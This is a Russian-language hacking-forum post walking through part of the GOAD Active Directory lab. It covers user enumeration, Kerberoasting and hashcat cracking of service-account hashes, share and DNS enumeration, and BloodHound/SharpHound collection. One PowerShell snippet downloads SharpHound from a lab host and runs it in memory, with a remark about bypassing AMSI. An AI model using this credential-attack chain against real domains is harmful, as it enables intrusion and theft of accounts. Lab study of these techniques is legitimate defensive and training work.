• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 3 - персчитаемся еще разок

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Мы нашли некоторых пользователей в прошлой части, теперь давайте посмотрим, что мы можем сделать с этими кредитами.

Список пользователей

1670610050252.png


Когда вы получаете учетную запись в активном каталоге, первое, что нужно сделать, — это получить полный список пользователей. Как только вы его получите, вы можете применить технику распыления пароля для всего список пользователей (очень часто вы найдете другие учетные записи со слабым паролем, например, имя пользователя = пароль, SeasonYear!, SocietynameYear! или даже 123456).

Код:
GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople

Код:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2022-06-29 00:32:20.901897  2022-07-01 17:48:41.983605 
Guest                                                 <never>              <never>             
vagrant                                               2021-05-12 13:38:55.922520  2022-07-01 12:08:35.223885 
krbtgt                                                2022-06-29 00:48:58.950440  <never>             
arya.stark                                            2022-06-29 07:48:08.060667  2022-07-03 17:40:06.721358 
eddard.stark                                          2022-06-29 07:48:11.560625  2022-07-04 23:33:27.976702 
catelyn.stark                                         2022-06-29 07:48:15.013735  <never>             
robb.stark                                            2022-06-29 07:48:18.544972  2022-07-04 23:35:50.678794 
sansa.stark                                           2022-06-29 07:48:21.607059  <never>             
brandon.stark                                         2022-06-29 07:48:24.278459  2022-07-04 23:36:08.991489 
rickon.stark                                          2022-06-29 07:48:26.966809  <never>             
hodor                                                 2022-06-29 07:48:29.670052  2022-07-04 23:21:58.774078 
jon.snow                                              2022-06-29 07:48:32.373101  2022-07-03 17:36:26.798060 
samwell.tarly                                         2022-06-29 07:48:35.107476  2022-07-01 16:35:17.043960 
jeor.mormont                                          2022-06-29 07:48:37.841846  <never>             
sql_svc                                               2022-06-29 07:48:40.248028  2022-07-03 15:56:57.924607

Если вы хотитеполучше вникнуть в запросы ldap в AD почитайте -> https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
А мы пойдем дальше к DC north.sevenkingdoms.local

Код:
ldapsearch -H ldap://192.168.56.11 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'

1670610393593.png


Используя ldap мы можем потыкаться по пользователям другого домена, так как между ними есть доверие, пойдем до essos.local:

Код:
ldapsearch -H ldap://192.168.56.12 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b ',DC=essos,DC=local' "(&(objectCategory=person)(objectClass=user))"

А потом до sevenkingdoms.local

Код:
ldapsearch -H ldap://192.168.56.10 -D "brandon.stark@north.sevenkingdoms.local" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))"

Применим технику кербероастинга,

В AD мы очень часто будем видеть пользователей с установленным SPN. Давайте найдем их impacket

Код:
GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

Код:
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName                                 Name      MemberOf                                                    PasswordLastSet             LastLogon                   Delegation  
---------------------------------------------------  --------  ----------------------------------------------------------  --------------------------  --------------------------  -----------
CIFS/winterfell.north.sevenkingdoms.local            jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2022-06-29 07:48:32.373101  2022-06-29 10:34:54.308171  constrained 
HTTP/thewall.north.sevenkingdoms.local               jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2022-06-29 07:48:32.373101  2022-06-29 10:34:54.308171  constrained 
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                                               2022-06-29 07:48:40.248028  2022-06-29 22:54:57.422114              
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                                               2022-06-29 07:48:40.248028  2022-06-29 22:54:57.422114

хэши будут храниться в файле с именем kerberoasting.hashes.
мы также можем сделать это с cme с помощью следующей команды:

Код:
cme ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING

Теперь попробуем взломать хеши:

Код:
hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force

мы быстро получаем результат с rockyou:

1670610792941.png


И мы нашли еще одного пользователя: north/jon.snow:iknownothing

перечисление общих ресурсов

у нас есть пользователь домена, поэтому мы можем перечислить ресурс в другой раз, но уже с учетной записью пользователя

Код:
cme smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

1670610917832.png


Теперь новая расшаренная папка доступна для чтения (в ней ничего нет на лабе, но в жизни вы будете получать очень часто пикантную информацию)

Дамп DNS

Еще одна крутая вещь, которую можно сделать, когда у нас есть пользователь, — это перечислить dns. Для этого мы можем использовать инструмент adidnsdump от dirkjanm .

Код:
adidnsdump -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' winterfell.north.sevenkingdoms.local

Результаты сохраняются в файле records.csv.

Код:
cat records.csv 
type,name,value
A,winterfell,192.168.56.11
A,winterfell,10.0.2.15
?,DomainDnsZones,?
?,castelblack,?
NS,@,winterfell.north.sevenkingdoms.local.
A,@,192.168.56.11
A,@,10.0.2.15

Bloodhound

Bloodhound — один из лучших инструментов для пентеста Active Directory. Этот инструмент поможет вам найти все пути к pwn AD и обязательно должен быть в вашем арсенале!
Чтобы запустить Bloodhound, вам сначала нужно получить все данные с разных доменов.
Сначала мы получим данные с помощью https://github.com/fox-it/BloodHound.py.
Давайте запустим скрипт на north.sevenkingdoms.local:
Код:
bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local

1670611259210.png


Хорошо, теперь у нас есть вся информация из домена north.sevenkingdoms.local. Теперь попробуйте получить информацию из других доменов:

Код:
bloodhound.py --zip -c All -d sevenkingdoms.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc kingslanding.sevenkingdoms.local
Код:
bloodhound.py --zip -c All -d essos.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc meereen.essos.local
1670611334731.png


Теперь у нас есть информация о 3 доменах :) но приемник python не так совершенен, как приемник .net, как мы можем видеть в проекте github: «Поддерживает большинство, но не все функции BloodHound (SharpHound) (поддерживаемые методы сбора см. ниже, в основном методы на основе GPO отсутствуют)»

Итак, давайте сделаем это снова из Windows на этот раз.

.net Ingestor — из Windows​

Официальный поставщик bloudhound — Sharphound: https://github.com/BloodHoundAD/SharpHound .
Начнем RDP-соединение

Код:
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore
Папка C:\vagrant автоматически монтируется на виртуальную машину, это упростит передачу файлов и мы запустим Sharphound для получения информации о доменах

Код:
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

1670611521140.png


Или мы также можем сделать это в reflection с помощью powershell, если вы хотите воспроизвести его полностью в памяти (если вы делаете это с включенным defender, вам сначала придется обойти amsi).

Код:
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

Охота с bloodhound

Ззапустите neo4j и Bloodhound (на момент написания python Ingestor соответствует Bloodhound 4.1, обязательно получите правильную версию), загрузите zip-файлы в Bloodhound и увидите все домены и компьютеры:

Код:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

1670611773772.png


и все пользователей

Код:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

1670611824734.png


И общую карту AD:

Код:
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

1670611907411.png


Посмотрим и пользователей ASL

Код:
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p

1670611984453.png


Для дальнейшего изучени темы копать -> https://ru.hackndo.com/bloodhound/
лопата -> https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

В следующей статье мы начнем играть с отравлением и реле ntlm
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх